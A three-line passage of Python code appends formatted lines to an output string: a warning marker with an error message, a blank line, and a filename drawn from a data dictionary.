output += f" ⚠️ {error}\n"
output += "\n"
output += f"Filename: {data['filename']}\n"